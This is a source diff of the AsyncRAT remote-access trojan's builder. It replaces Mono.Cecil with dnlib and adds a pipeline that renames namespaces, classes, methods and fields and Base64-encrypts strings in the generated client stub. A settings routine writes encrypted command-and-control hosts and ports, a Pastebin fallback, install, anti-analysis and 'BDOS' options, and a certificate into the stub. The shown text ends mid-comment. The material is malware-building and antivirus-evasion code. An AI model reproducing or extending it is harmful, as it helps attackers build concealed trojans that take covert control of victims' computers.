diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/App.config b/AsyncRAT-C#/AsyncRAT-Sharp/App.config index d669d81..ab58faf 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/App.config +++ b/AsyncRAT-C#/AsyncRAT-Sharp/App.config @@ -11,40 +11,40 @@ - + - + True - + - + - + - + - + - + - + - + - + 0.0.0.0 @@ -55,6 +55,6 @@ - + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index cc25964..94f7bde 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -50,13 +50,13 @@ False Resources\cGeoIp.dll + + ..\packages\dnlib.3.2.0\lib\net45\dnlib.dll + ..\packages\FCTB.2.16.24\lib\FastColoredTextBox.dll - - ..\packages\Mono.Cecil.0.10.3\lib\net40\Mono.Cecil.dll - @@ -187,7 +187,6 @@ - @@ -210,6 +209,19 @@ True Resources.resx + + + + + + + + + + + + + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs index 147ea3d..8f8df98 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs @@ -1,15 +1,17 @@ using System; using System.Windows.Forms; -using Mono.Cecil; using AsyncRAT_Sharp.Helper; -using Mono.Cecil.Cil; using System.Text; using System.Security.Cryptography; using AsyncRAT_Sharp.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Collections.Generic; using Vestris.ResourceLib; -using System.Drawing; +using dnlib.DotNet; +using System.IO; +using System.Linq; +using dnlib.DotNet.Emit; +using AsyncRAT_Sharp.RenamingObfuscation; namespace AsyncRAT_Sharp.Forms { @@ -63,7 +65,7 @@ namespace AsyncRAT_Sharp.Forms { comboBoxFolder.SelectedIndex = 0; if (Properties.Settings.Default.IP.Length == 0) - listBoxIP.Items.Add("127.0.0.1" ); + listBoxIP.Items.Add("127.0.0.1"); if (Properties.Settings.Default.Pastebin.Length == 0) txtPastebin.Text = "https://pastebin.com/raw/s14cUU5G"; @@ -91,109 +93,6 @@ namespace AsyncRAT_Sharp.Forms catch { } } - private void WriteSettings(AssemblyDefinition asmDef) - { - var key = Methods.GetRandomString(32); - var aes = new Aes256(key); - var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); - var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); - byte[] signature; - using (var csp = (RSACryptoServiceProvider)caCertificate.PrivateKey) - { - var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); - signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); - } - - foreach (var typeDef in asmDef.Modules[0].Types) - { - if (typeDef.FullName == "Client.Settings") - { - foreach (var methodDef in typeDef.Methods) - { - if (methodDef.Name == ".cctor") - { - for (int i = 0; i < methodDef.Body.Instructions.Count; i++) - { - if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) - { - string operand = methodDef.Body.Instructions[i].Operand.ToString(); - - if (operand == "%Ports%") - { - if (chkPastebin.Enabled && chkPastebin.Checked) - { - methodDef.Body.Instructions[i].Operand = aes.Encrypt("null"); - } - else - { - List LString = new List(); - foreach (string port in listBoxPort.Items) - { - LString.Add(port); - } - methodDef.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString)); - } - } - - if (operand == "%Hosts%") - { - if (chkPastebin.Enabled && chkPastebin.Checked) - { - methodDef.Body.Instructions[i].Operand = aes.Encrypt("null"); - } - else - { - List LString = new List(); - foreach (string ip in listBoxIP.Items) - { - LString.Add(ip); - } - methodDef.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString)); - } - } - - if (operand == "%Install%") - methodDef.Body.Instructions[i].Operand = aes.Encrypt(checkBox1.Checked.ToString().ToLower()); - - if (operand == "%Folder%") - methodDef.Body.Instructions[i].Operand = comboBoxFolder.Text; - - if (operand == "%File%") - methodDef.Body.Instructions[i].Operand = textFilename.Text; - - if (operand == "%Version%") - methodDef.Body.Instructions[i].Operand = aes.Encrypt(Settings.Version); - - if (operand == "%Key%") - methodDef.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key)); - - if (operand == "%MTX%") - methodDef.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text); - - if (operand == "%Anti%") - methodDef.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower()); - - if (operand == "%Certificate%") - methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); - - if (operand == "%Serversignature%") - methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); - - if (operand == "%BDOS%") - methodDef.Body.Instructions[i].Operand = aes.Encrypt(chkBdos.Checked.ToString().ToLower()); - - if (operand == "%Pastebin%") - if (chkPastebin.Checked) - methodDef.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text); - else - methodDef.Body.Instructions[i].Operand = aes.Encrypt("null"); - } - } - } - } - } - } - } private void CheckBox2_CheckedChanged(object sender, EventArgs e) { @@ -287,15 +186,10 @@ namespace AsyncRAT_Sharp.Forms try { - using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(@"Stub/Stub.exe")) + using (ModuleDefMD asmDef = ModuleDefMD.Load(@"Stub/Stub.exe")) { WriteSettings(asmDef); - Renamer r = new Renamer(asmDef); - - if (!r.Perform()) - throw new Exception("renaming failed"); - using (SaveFileDialog saveFileDialog1 = new SaveFileDialog()) { saveFileDialog1.Filter = ".exe (*.exe)|*.exe"; @@ -304,8 +198,10 @@ namespace AsyncRAT_Sharp.Forms saveFileDialog1.FileName = "Client"; if (saveFileDialog1.ShowDialog() == DialogResult.OK) { - r.AsmDef.Write(saveFileDialog1.FileName); - r.AsmDef.Dispose(); + EncryptString.DoEncrypt(asmDef); + Renaming.DoRenaming(asmDef); + asmDef.Write(saveFileDialog1.FileName); + asmDef.Dispose(); if (btnAssembly.Checked) { WriteAssembly(saveFileDialog1.FileName); @@ -414,5 +310,123 @@ namespace AsyncRAT_Sharp.Forms } } } + + private void WriteSettings(ModuleDefMD asmDef) + { + var key = Methods.GetRandomString(32); + var aes = new Aes256(key); + var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); + var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); + byte[] signature; + using (var csp = (RSACryptoServiceProvider)caCertificate.PrivateKey) + { + var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); + signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); + } + + + + foreach (TypeDef type in asmDef.Types) + { + if (type.Name == "Settings") + foreach (MethodDef method in type.Methods) + { + if (method.Body == null) continue; + for (int i = 0; i < method.Body.Instructions.Count(); i++) + { + if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr) + { + if (method.Body.Instructions[i].Operand.ToString() == "%Ports%") + { + if (chkPastebin.Enabled && chkPastebin.Checked) + { + method.Body.Instructions[i].Operand = aes.Encrypt("null"); + } + else + { + List LString = new List(); + foreach (string port in listBoxPort.Items) + { + LString.Add(port); + } + method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString)); + } + } + + if (method.Body.Instructions[i].Operand.ToString() == "%Hosts%") + { + if (chkPastebin.Enabled && chkPastebin.Checked) + { + method.Body.Instructions[i].Operand = aes.Encrypt("null"); + + } + else + { + List LString = new List(); + foreach (string ip in listBoxIP.Items) + { + LString.Add(ip); + } + method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString)); + } + } + + if (method.Body.Instructions[i].Operand.ToString() == "%Install%") + method.Body.Instructions[i].Operand = aes.Encrypt(checkBox1.Checked.ToString().ToLower()); + + if (method.Body.Instructions[i].Operand.ToString() == "%Folder%") + method.Body.Instructions[i].Operand = comboBoxFolder.Text; + + + if (method.Body.Instructions[i].Operand.ToString() == "%File%") + method.Body.Instructions[i].Operand = textFilename.Text; + + if (method.Body.Instructions[i].Operand.ToString() == "%Version%") + method.Body.Instructions[i].Operand = aes.Encrypt(Settings.Version); + + if (method.Body.Instructions[i].Operand.ToString() == "%Key%") + method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key)); + + if (method.Body.Instructions[i].Operand.ToString() == "%MTX%") + method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text); + + if (method.Body.Instructions[i].Operand.ToString() == "%Anti%") + method.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower()); + + if (method.Body.Instructions[i].Operand.ToString() == "%Certificate%") + method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); + + if (method.Body.Instructions[i].Operand.ToString() == "%Serversignature%") + method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); + + if (method.Body.Instructions[i].Operand.ToString() == "%BDOS%") + method.Body.Instructions[i].Operand = aes.Encrypt(chkBdos.Checked.ToString().ToLower()); + + if (method.Body.Instructions[i].Operand.ToString() == "%Pastebin%") + if (chkPastebin.Checked) + method.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text); + else + method.Body.Instructions[i].Operand = aes.Encrypt("null"); + } + } + } + } + } + + + private readonly Random random = new Random(); + const string alphabet = "asdfghjklqwertyuiopmnbvcxz"; + + public string getRandomCharacters() + { + var sb = new StringBuilder(); + for (int i = 1; i <= new Random().Next(10,20); i++) + { + var randomCharacterPosition = random.Next(0, alphabet.Length); + sb.Append(alphabet[randomCharacterPosition]); + } + return sb.ToString(); + } + } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/BuildRenamer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/BuildRenamer.cs deleted file mode 100644 index b516823..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/BuildRenamer.cs +++ /dev/null @@ -1,235 +0,0 @@ -using Mono.Cecil; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; - -namespace AsyncRAT_Sharp.Helper -{ - //creadit Quasar.Server/Build/Renamer.cs - public class Renamer - { - public AssemblyDefinition AsmDef { get; set; } - - private int Length { get; set; } - private MemberOverloader _typeOverloader; - private Dictionary _methodOverloaders; - private Dictionary _fieldOverloaders; - private Dictionary _eventOverloaders; - - public Renamer(AssemblyDefinition asmDef) - : this(asmDef, 20) - { - } - - public Renamer(AssemblyDefinition asmDef, int length) - { - this.AsmDef = asmDef; - this.Length = length; - _typeOverloader = new MemberOverloader(this.Length); - _methodOverloaders = new Dictionary(); - _fieldOverloaders = new Dictionary(); - _eventOverloaders = new Dictionary(); - } - - public bool Perform() - { - try - { - foreach (TypeDefinition typeDef in AsmDef.Modules.SelectMany(module => module.Types)) - { - RenameInType(typeDef); - } - return true; - } - catch - { - return false; - } - } - - private void RenameInType(TypeDefinition typeDef) - { - if (!typeDef.Namespace.StartsWith("Client")) - return; - - _typeOverloader.GiveName(typeDef); - - typeDef.Namespace = string.Empty; - - MemberOverloader methodOverloader = GetMethodOverloader(typeDef); - MemberOverloader fieldOverloader = GetFieldOverloader(typeDef); - MemberOverloader eventOverloader = GetEventOverloader(typeDef); - - if (typeDef.HasNestedTypes) - foreach (TypeDefinition nestedType in typeDef.NestedTypes) - RenameInType(nestedType); - - if (typeDef.HasMethods) - foreach (MethodDefinition methodDef in - typeDef.Methods.Where(methodDef => - !methodDef.IsConstructor && !methodDef.HasCustomAttributes && - !methodDef.IsAbstract && !methodDef.IsVirtual)) - methodOverloader.GiveName(methodDef); - - if (typeDef.HasFields) - foreach (FieldDefinition fieldDef in typeDef.Fields) - fieldOverloader.GiveName(fieldDef); - - if (typeDef.HasEvents) - foreach (EventDefinition eventDef in typeDef.Events) - eventOverloader.GiveName(eventDef); - } - - private MemberOverloader GetMethodOverloader(TypeDefinition typeDef) - { - return GetOverloader(this._methodOverloaders, typeDef); - } - - private MemberOverloader GetFieldOverloader(TypeDefinition typeDef) - { - return GetOverloader(this._fieldOverloaders, typeDef); - } - - private MemberOverloader GetEventOverloader(TypeDefinition typeDef) - { - return GetOverloader(this._eventOverloaders, typeDef); - } - - private MemberOverloader GetOverloader(Dictionary overloaderDictionary, - TypeDefinition targetTypeDef) - { - MemberOverloader overloader; - if (!overloaderDictionary.TryGetValue(targetTypeDef, out overloader)) - { - overloader = new MemberOverloader(this.Length); - overloaderDictionary.Add(targetTypeDef, overloader); - } - return overloader; - } - - private class MemberOverloader - { - private bool DoRandom { get; set; } - private int StartingLength { get; set; } - private readonly Dictionary _renamedMembers = new Dictionary(); - private readonly char[] _charMap; - private readonly SafeRandom _random = new SafeRandom(); - private int[] _indices; - - public MemberOverloader(int startingLength, bool doRandom = true) - : this(startingLength, doRandom, "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToLower().ToCharArray()) - { - } - - private MemberOverloader(int startingLength, bool doRandom, char[] chars) - { - this._charMap = chars; - this.DoRandom = doRandom; - this.StartingLength = startingLength; - this._indices = new int[startingLength]; - } - - public void GiveName(MemberReference member) - { - string currentName = GetCurrentName(); - string originalName = member.ToString(); - member.Name = currentName; - while (_renamedMembers.ContainsValue(member.ToString())) - { - member.Name = GetCurrentName(); - } - _renamedMembers.Add(originalName, member.ToString()); - } - - private string GetCurrentName() - { - return DoRandom ? GetRandomName() : GetOverloadedName(); - } - - private string GetRandomName() - { - StringBuilder builder = new StringBuilder(); - - for (int i = 0; i < StartingLength; i++) - { - builder.Append((char)_random.Next(int.MinValue, int.MaxValue)); - } - - return builder.ToString(); - } - - private string GetOverloadedName() - { - IncrementIndices(); - char[] chars = new char[_indices.Length]; - for (int i = 0; i < _indices.Length; i++) - chars[i] = _charMap[_indices[i]]; - return new string(chars); - } - - private void IncrementIndices() - { - for (int i = _indices.Length - 1; i >= 0; i--) - { - _indices[i]++; - if (_indices[i] >= _charMap.Length) - { - if (i == 0) - Array.Resize(ref _indices, _indices.Length + 1); - _indices[i] = 0; - } - else - break; - } - } - } - } - - public class SafeRandom - { - private static readonly RandomNumberGenerator GlobalCryptoProvider = RandomNumberGenerator.Create(); - - [ThreadStatic] - private static Random _random; - - private static Random GetRandom() - { - if (_random == null) - { - byte[] buffer = new byte[4]; - GlobalCryptoProvider.GetBytes(buffer); - _random = new Random(BitConverter.ToInt32(buffer, 0)); - } - - return _random; - } - - public int Next() - { - return GetRandom().Next(); - } - - public int Next(int maxValue) - { - return GetRandom().Next(maxValue); - } - - public int Next(int minValue, int maxValue) - { - return GetRandom().Next(minValue, maxValue); - } - - public void NextBytes(byte[] buffer) - { - GetRandom().NextBytes(buffer); - } - - public double NextDouble() - { - return GetRandom().NextDouble(); - } - } -} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/ModuleDefMD.cs b/AsyncRAT-C#/AsyncRAT-Sharp/ModuleDefMD.cs new file mode 100644 index 0000000..53c731e --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/ModuleDefMD.cs @@ -0,0 +1,43 @@ +using AsyncRAT_Sharp.RenamingObfuscation.Classes; +using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using dnlib.DotNet; + +namespace AsyncRAT_Sharp.RenamingObfuscation +{ + public class Renaming + { + + public static ModuleDefMD DoRenaming(ModuleDefMD inPath) + { + ModuleDefMD module = inPath; + return RenamingObfuscation(inPath); + } + + private static ModuleDefMD RenamingObfuscation(ModuleDefMD inModule) + { + ModuleDefMD module = inModule; + + IRenaming rnm = new NamespacesRenaming(); + + module = rnm.Rename(module); + + rnm = new ClassesRenaming(); + + module = rnm.Rename(module); + + rnm = new MethodsRenaming(); + + module = rnm.Rename(module); + + rnm = new PropertiesRenaming(); + + module = rnm.Rename(module); + + rnm = new FieldsRenaming(); + + module = rnm.Rename(module); + + return module; + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Base64.cs b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Base64.cs new file mode 100644 index 0000000..d3de7e9 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Base64.cs @@ -0,0 +1,30 @@ +using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +{ + public class Base64 : ICrypto + { + /// + /// Method for encrypt string with Base64. + /// + /// Input plain string + /// Encode string + public string Encrypt(string dataPlain) + { + try + { + return Convert.ToBase64String(Encoding.UTF8.GetBytes(dataPlain)); + } + + catch (Exception) + { + return null; + } + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/ClassesRenaming.cs b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/ClassesRenaming.cs new file mode 100644 index 0000000..e0130d1 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/ClassesRenaming.cs @@ -0,0 +1,80 @@ +using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using System.Collections.Generic; +using System.Linq; + +namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +{ + public class ClassesRenaming : IRenaming + { + private static Dictionary _names = new Dictionary(); + + public ModuleDefMD Rename(ModuleDefMD module) + { + ModuleDefMD moduleToRename = module; + + foreach (TypeDef type in moduleToRename.GetTypes()) + { + if (type.IsGlobalModuleType) + continue; + if (type.Name == "GeneratedInternalTypeHelper" || type.Name == "Resources") + continue; + + string nameValue; + if (_names.TryGetValue(type.Name, out nameValue)) + type.Name = nameValue; + else + { + string newName = Utils.GenerateRandomString(); + + _names.Add(type.Name, newName); + type.Name = newName; + } + } + + return ApplyChangesToResources(moduleToRename); + } + + private static ModuleDefMD ApplyChangesToResources(ModuleDefMD module) + { + ModuleDefMD moduleToRename = module; + + foreach (var resource in moduleToRename.Resources) + { + foreach (var item in _names) + { + if (resource.Name.Contains(item.Key)) + { + resource.Name = resource.Name.Replace(item.Key, item.Value); + } + } + } + + foreach (TypeDef type in moduleToRename.GetTypes()) + { + foreach (var property in type.Properties) + { + if (property.Name != "ResourceManager") + continue; + + var instr = property.GetMethod.Body.Instructions; + + for (int i = 0; i < instr.Count; i++) + { + if (instr[i].OpCode == OpCodes.Ldstr) + { + foreach (var item in _names) + { + if (instr[i].Operand.ToString().Contains(item.Key)) + instr[i].Operand = instr[i].Operand.ToString().Replace(item.Key, item.Value); + } + } + } + } + } + + return moduleToRename; + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/DecryptionHelper.cs b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/DecryptionHelper.cs new file mode 100644 index 0000000..b7d8334 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/DecryptionHelper.cs @@ -0,0 +1,29 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +{ + internal static class DecryptionHelper + { + /// + /// Method for decrypt string with Base64. + /// + /// Input encode string + /// Plain string + public static string Decrypt_Base64(string dataEnc) + { + try + { + return Encoding.UTF8.GetString(Convert.FromBase64String(dataEnc)); + } + + catch (Exception) + { + return null; + } + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/FieldsRenaming.cs b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/FieldsRenaming.cs new file mode 100644 index 0000000..fc36ff6 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/FieldsRenaming.cs @@ -0,0 +1,77 @@ +using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using System.Collections.Generic; + + +namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +{ + public class FieldsRenaming : IRenaming + { + private static Dictionary _names = new Dictionary(); + + public ModuleDefMD Rename(ModuleDefMD module) + { + ModuleDefMD moduleToRename = module; + + foreach (TypeDef type in moduleToRename.GetTypes()) + { + if (type.IsGlobalModuleType) + continue; + + foreach (var field in type.Fields) + { + string nameValue; + if (_names.TryGetValue(field.Name, out nameValue)) + field.Name = nameValue; + else + { + if (!field.IsSpecialName && !field.HasCustomAttributes) + { + string newName = Utils.GenerateRandomString(); + _names.Add(field.Name, newName); + field.Name = newName; + } + } + } + } + + return ApplyChangesToResources(moduleToRename); + } + + private static ModuleDefMD ApplyChangesToResources(ModuleDefMD module) + { + ModuleDefMD moduleToRename = module; + + foreach (TypeDef type in moduleToRename.GetTypes()) + { + if (type.IsGlobalModuleType) + continue; + + foreach (MethodDef method in type.Methods) + { + if (method.Name != "InitializeComponent") + continue; + + var instr = method.Body.Instructions; + + for (int i = 0; i < instr.Count - 3; i++) + { + if (instr[i].OpCode == OpCodes.Ldstr) + { + foreach (var item in _names) + { + if (item.Key == instr[i].Operand.ToString()) + { + instr[i].Operand = item.Value; + } + } + } + } + } + } + + return moduleToRename; + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/InjectHelper.cs b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/InjectHelper.cs new file mode 100644 index 0000000..8a53f8d --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/InjectHelper.cs @@ -0,0 +1,360 @@ +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using System.Collections.Generic; +using System.Linq; + + +namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +{ + public static class InjectHelper + { + /// + /// Clones the specified origin TypeDef. + /// + /// The origin TypeDef. + /// The cloned TypeDef. + static TypeDefUser Clone(TypeDef origin) + { + var ret = new TypeDefUser(origin.Namespace, origin.Name); + ret.Attributes = origin.Attributes; + + if (origin.ClassLayout != null) + ret.ClassLayout = new ClassLayoutUser(origin.ClassLayout.PackingSize, origin.ClassSize); + + foreach (GenericParam genericParam in origin.GenericParameters) + ret.GenericParameters.Add(new GenericParamUser(genericParam.Number, genericParam.Flags, "-")); + + return ret; + } + + /// + /// Clones the specified origin MethodDef. + /// + /// The origin MethodDef. + /// The cloned MethodDef. + static MethodDefUser Clone(MethodDef origin) + { + var ret = new MethodDefUser(origin.Name, null, origin.ImplAttributes, origin.Attributes); + + foreach (GenericParam genericParam in origin.GenericParameters) + ret.GenericParameters.Add(new GenericParamUser(genericParam.Number, genericParam.Flags, "-")); + + return ret; + } + + /// + /// Clones the specified origin FieldDef. + /// + /// The origin FieldDef. + /// The cloned FieldDef. + static FieldDefUser Clone(FieldDef origin) + { + var ret = new FieldDefUser(origin.Name, null, origin.Attributes); + return ret; + } + + /// + /// Populates the context mappings. + /// + /// The origin TypeDef. + /// The injection context. + /// The new TypeDef. + static TypeDef PopulateContext(TypeDef typeDef, InjectContext ctx) + { + TypeDef ret; + IDnlibDef existing; + if (!ctx.Map.TryGetValue(typeDef, out existing)) + { + ret = Clone(typeDef); + ctx.Map[typeDef] = ret; + } + else + ret = (TypeDef)existing; + + foreach (TypeDef nestedType in typeDef.NestedTypes) + ret.NestedTypes.Add(PopulateContext(nestedType, ctx)); + + foreach (MethodDef method in typeDef.Methods) + ret.Methods.Add((MethodDef)(ctx.Map[method] = Clone(method))); + + foreach (FieldDef field in typeDef.Fields) + ret.Fields.Add((FieldDef)(ctx.Map[field] = Clone(field))); + + return ret; + } + + /// + /// Copies the information from the origin type to injected type. + /// + /// The origin TypeDef. + /// The injection context. + static void CopyTypeDef(TypeDef typeDef, InjectContext ctx) + { + var newTypeDef = (TypeDef)ctx.Map[typeDef]; + + newTypeDef.BaseType = (ITypeDefOrRef)ctx.Importer.Import(typeDef.BaseType); + + foreach (InterfaceImpl iface in typeDef.Interfaces) + newTypeDef.Interfaces.Add(new InterfaceImplUser((ITypeDefOrRef)ctx.Importer.Import(iface.Interface))); + } + + /// + /// Copies the information from the origin method to injected method. + /// + /// The origin MethodDef. + /// The injection context. + static void CopyMethodDef(MethodDef methodDef, InjectContext ctx) + { + var newMethodDef = (MethodDef)ctx.Map[methodDef]; + + newMethodDef.Signature = ctx.Importer.Import(methodDef.Signature); + newMethodDef.Parameters.UpdateParameterTypes(); + + if (methodDef.ImplMap != null) + newMethodDef.ImplMap = new ImplMapUser(new ModuleRefUser(ctx.TargetModule, methodDef.ImplMap.Module.Name), methodDef.ImplMap.Name, methodDef.ImplMap.Attributes); + + foreach (CustomAttribute ca in methodDef.CustomAttributes) + newMethodDef.CustomAttributes.Add(new CustomAttribute((ICustomAttributeType)ctx.Importer.Import(ca.Constructor))); + + if (methodDef.HasBody) + { + newMethodDef.Body = new CilBody(methodDef.Body.InitLocals, new List(), new List(), new List()); + newMethodDef.Body.MaxStack = methodDef.Body.MaxStack; + + var bodyMap = new Dictionary(); + + foreach (Local local in methodDef.Body.Variables) + { + var newLocal = new Local(ctx.Importer.Import(local.Type)); + newMethodDef.Body.Variables.Add(newLocal); + newLocal.Name = local.Name; + + bodyMap[local] = newLocal; + } + + foreach (Instruction instr in methodDef.Body.Instructions) + { + var newInstr = new Instruction(instr.OpCode, instr.Operand); + newInstr.SequencePoint = instr.SequencePoint; + + if (newInstr.Operand is IType) + newInstr.Operand = ctx.Importer.Import((IType)newInstr.Operand); + + else if (newInstr.Operand is IMethod) + newInstr.Operand = ctx.Importer.Import((IMethod)newInstr.Operand); + + else if (newInstr.Operand is IField) + newInstr.Operand = ctx.Importer.Import((IField)newInstr.Operand); + + newMethodDef.Body.Instructions.Add(newInstr); + bodyMap[instr] = newInstr; + } + + foreach (Instruction instr in newMethodDef.Body.Instructions) + { + if (instr.Operand != null && bodyMap.ContainsKey(instr.Operand)) + instr.Operand = bodyMap[instr.Operand]; + + else if (instr.Operand is Instruction[]) + instr.Operand = ((Instruction[])instr.Operand).Select(target => (Instruction)bodyMap[target]).ToArray(); + } + + foreach (ExceptionHandler eh in methodDef.Body.ExceptionHandlers) + newMethodDef.Body.ExceptionHandlers.Add(new ExceptionHandler(eh.HandlerType) + { + CatchType = eh.CatchType == null ? null : (ITypeDefOrRef)ctx.Importer.Import(eh.CatchType), + TryStart = (Instruction)bodyMap[eh.TryStart], + TryEnd = (Instruction)bodyMap[eh.TryEnd], + HandlerStart = (Instruction)bodyMap[eh.HandlerStart], + HandlerEnd = (Instruction)bodyMap[eh.HandlerEnd], + FilterStart = eh.FilterStart == null ? null : (Instruction)bodyMap[eh.FilterStart] + }); + + newMethodDef.Body.SimplifyMacros(newMethodDef.Parameters); + } + } + + /// + /// Copies the information from the origin field to injected field. + /// + /// The origin FieldDef. + /// The injection context. + static void CopyFieldDef(FieldDef fieldDef, InjectContext ctx) + { + var newFieldDef = (FieldDef)ctx.Map[fieldDef]; + + newFieldDef.Signature = ctx.Importer.Import(fieldDef.Signature); + } + + /// + /// Copies the information to the injected definitions. + /// + /// The origin TypeDef. + /// The injection context. + /// if set to true, copy information of . + static void Copy(TypeDef typeDef, InjectContext ctx, bool copySelf) + { + if (copySelf) + CopyTypeDef(typeDef, ctx); + + foreach (TypeDef nestedType in typeDef.NestedTypes) + Copy(nestedType, ctx, true); + + foreach (MethodDef method in typeDef.Methods) + CopyMethodDef(method, ctx); + + foreach (FieldDef field in typeDef.Fields) + CopyFieldDef(field, ctx); + } + + /// + /// Injects the specified TypeDef to another module. + /// + /// The source TypeDef. + /// The target module. + /// The injected TypeDef. + public static TypeDef Inject(TypeDef typeDef, ModuleDef target) + { + var ctx = new InjectContext(typeDef.Module, target); + PopulateContext(typeDef, ctx); + Copy(typeDef, ctx, true); + return (TypeDef)ctx.Map[typeDef]; + } + + /// + /// Injects the specified MethodDef to another module. + /// + /// The source MethodDef. + /// The target module. + /// The injected MethodDef. + public static MethodDef Inject(MethodDef methodDef, ModuleDef target) + { + var ctx = new InjectContext(methodDef.Module, target); + ctx.Map[methodDef] = Clone(methodDef); + CopyMethodDef(methodDef, ctx); + return (MethodDef)ctx.Map[methodDef]; + } + + /// + /// Injects the members of specified TypeDef to another module. + /// + /// The source TypeDef. + /// The new type. + /// The target module. + /// Injected members. + public static IEnumerable Inject(TypeDef typeDef, TypeDef newType, ModuleDef target) + { + var ctx = new InjectContext(typeDef.Module, target); + ctx.Map[typeDef] = newType; + PopulateContext(typeDef, ctx); + Copy(typeDef, ctx, false); + return ctx.Map.Values.Except(new[] { newType }); + } + + public class ImportResolver + { + /// + /// Resolves the specified TypeDef. + /// + /// The TypeDef. + /// The resolved TypeDef, or null if cannot be resolved. + public virtual TypeDef Resolve(TypeDef typeDef) + { + return null; + } + + /// + /// Resolves the specified MethodDef. + /// + /// The MethodDef. + /// The resolved MethodDef, or null if cannot be resolved. + public virtual MethodDef Resolve(MethodDef methodDef) + { + return null; + } + + /// + /// Resolves the specified FieldDef. + /// + /// The FieldDef. + /// The resolved FieldDef, or null if cannot be resolved. + public virtual FieldDef Resolve(FieldDef fieldDef) + { + return null; + } + } + + + /// + /// Context of the injection process. + /// + class InjectContext : ImportResolver + { + /// + /// The mapping of origin definitions to injected 